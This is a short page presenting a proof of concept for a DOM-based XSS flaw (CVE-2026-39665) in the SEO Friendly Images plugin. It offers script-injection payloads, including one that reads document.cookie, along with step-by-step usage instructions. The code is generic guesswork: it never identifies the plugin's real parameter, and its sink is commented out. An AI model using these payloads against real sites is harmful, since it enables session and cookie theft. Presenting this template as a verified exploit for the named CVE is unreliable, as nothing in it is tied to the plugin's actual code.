CVE-2026-39665 SEO Friendly Images DOM型XSS漏洞

<!-- PoC for CVE-2026-39665 (DOM-Based XSS in SEO Friendly Images) This payload demonstrates the execution of arbitrary JavaScript. An attacker would inject a payload into a vulnerable parameter processed by the plugin's client-side scripts. --> <script> // Simulate the vulnerable behavior where user input is reflected in the DOM without sanitization // Example payload to be injected into a vulnerable attribute or input field: // "><img src=x onerror=alert('CVE-2026-39665')> // In a real scenario, the plugin might take a parameter like 'image_alt' and update the DOM like this: // document.getElementById('target').innerHTML = unescapedUserInput; // Proof of Concept Payload: var payload = '"><script>alert(1)<\/script>'; console.log("Injecting payload: " + payload); // If the plugin is vulnerable, the following line would execute the alert: // document.body.innerHTML += payload; </script> <!-- Usage: 1. Identify the input field or URL parameter used by the plugin that is reflected in the DOM. 2. Inject the payload: "><script>alert(document.cookie)</script> 3. Trigger the execution by loading the page or interacting with the element. -->